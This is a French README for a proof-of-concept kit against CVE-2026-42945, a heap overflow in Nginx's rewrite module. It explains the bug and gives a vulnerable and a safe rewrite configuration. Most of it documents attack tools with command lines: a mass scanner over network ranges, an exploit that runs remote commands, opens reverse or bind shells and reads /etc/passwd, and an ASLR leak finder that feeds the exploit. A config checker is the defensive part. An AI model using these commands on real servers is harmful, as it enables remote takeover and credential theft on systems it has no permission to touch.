
CVE-2026-42945 Nginx Rift
Un kit complet de preuve de concept pour CVE-2026-42945 (Nginx Rift), une vulnérabilité critique de débordement de tas (heap buffer overflow) dans le module ngx_http_rewrite_module de Nginx.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-42945 |
| Nom | Nginx Rift |
| Type | Débordement de tas |
| Composant | ngx_http_rewrite_module |
| Sévérité | Critique (CVSS 9.2) |
| Versions affectées | Nginx 0.6.27 - 1.30.0 |
| Correction | Nginx 1.30.1 / 1.31.0 |
La vulnérabilité provient d’une erreur de calcul de taille entre deux passes internes lors du traitement des règles de réécriture (rewrite). Si une configuration utilise :
$1, $2, etc.)?Nginx calcule mal la taille du tampon nécessaire lors de la première passe et écrit au‑delà du tampon alloué sur le tas lors de la seconde passe.
server {
# VULNÉRABLE : capture anonyme ($1) + '?' dans le remplacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SÛRE : capture nommée (?P<path>) remplace $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py – Outil PoC principalOutil de scanner et d’exploitation pour une cible unique.
Fonctionnalités :
ServerUtilisation :
# Détecter la version et tester la vulnérabilité
python nginx_rift_poc.py -t cible.example.com
# Tester avec une charge personnalisée
python nginx_rift_poc.py -t cible.example.com -p "/api/AAAA...?x=1"
# Cible HTTPS
python nginx_rift_poc.py -t cible.example.com --ssl -p 443
# Générer une configuration de test vulnérable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Générer une configuration sûre (corrigée)
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py – Scanner de masseScanner par lots pour tester plusieurs cibles simultanément.
Fonctionnalités :
Utilisation :
# Scanner à partir d’un fichier de cibles (format : hôte:port par ligne)
python nginx_rift_scanner.py -f cibles.txt -o resultats.json
# Scanner une seule cible
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scanner une plage réseau
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# Scan à haute vitesse
python nginx_rift_scanner.py -f cibles.txt --threads 100 -o resultats.json
Format du fichier de cibles :
# Les commentaires commencent par #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py – Analyseur de configurationAnalyse les fichiers de configuration Nginx locaux à la recherche de motifs de réécriture vulnérables.
Fonctionnalités :
nginx.conf et suivre les directives include? dans les chaînes de remplacementUtilisation :
# Analyser un seul fichier
python config_checker.py /etc/nginx/nginx.conf
# Analyser un répertoire récursivement
python config_checker.py -d /etc/nginx/conf.d/
# Correction automatique des motifs vulnérables (crée une sauvegarde .bak)
python config_checker.py --fix /etc/nginx/nginx.conf
# Détection automatique des chemins Nginx courants
python config_checker.py
enhanced_poc.py – PoC RCE amélioréOutil d’exploitation avancé basé sur la recherche officielle de depthfirst, prenant en charge plusieurs motifs de réécriture et modes d’exploitation.
Fonctionnalités :
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sUtilisation :
# Détection automatique des motifs et de la version
python enhanced_poc.py -t cible.example.com --detect
# Exécuter une commande (ASLR désactivé)
python enhanced_poc.py -t cible.example.com --cmd "id > /tmp/pwned"
# Shell inversé
python enhanced_poc.py -t cible.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Shell lié
python enhanced_poc.py -t cible.example.com --bind --listen-port 5555
# Lire un fichier distant
python enhanced_poc.py -t cible.example.com --read /etc/passwd
# Base heap personnalisée (pour cibles sans ASLR)
python enhanced_poc.py -t cible.example.com --cmd "whoami" --heap-base 0x555555554000
# Utiliser & comme déclencheur de débordement
python enhanced_poc.py -t cible.example.com --cmd "id" --escape-char "&"
Détails des modes d’exploitation :
| Mode | Description | Sortie |
|---|---|---|
cmd | Exécute une commande shell unique | Sortie de la commande sur la cible |
shell | Génère un shell inversé | Connexion vers --listen-ip:listen-port |
bind | Génère un shell lié sur la cible | Écoute sur --listen-port sur la cible |
read | Lit un fichier sur la cible | Contenu écrit dans /tmp/nginx_rift_read |
Configuration des adresses (ASLR désactivé uniquement) :
--heap-base : Adresse de base du tas (ex. 0x555555559000)--libc-base : Adresse de base de libc (ex. 0x7ffff77ba000)--system-addr : Adresse directe de system() (remplace libc-base)aslr_leak_detector.py – Détecteur de fuites ASLRScanner complet pour détecter les fuites d’informations pouvant contourner la protection ASLR.
Fonctionnalités :
/nginx_status, /actuator/*, etc.)enhanced_poc.py via un rapport JSONUtilisation :
# Scanner une seule cible
python aslr_leak_detector.py -t cible.example.com
# Scanner avec SSL
python aslr_leak_detector.py -t cible.example.com -p 443 --ssl
# Scanner à partir d’un fichier, sauvegarder le rapport
python aslr_leak_detector.py -f cibles.txt -p 80,443 -o rapport_fuites.json
# Scanner une plage réseau
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Mode scan rapide
python aslr_leak_detector.py -t cible.example.com --quick
Intégration avec le PoC amélioré :
# Étape 1 : Détecter les fuites
python aslr_leak_detector.py -t cible.example.com -o fuites.json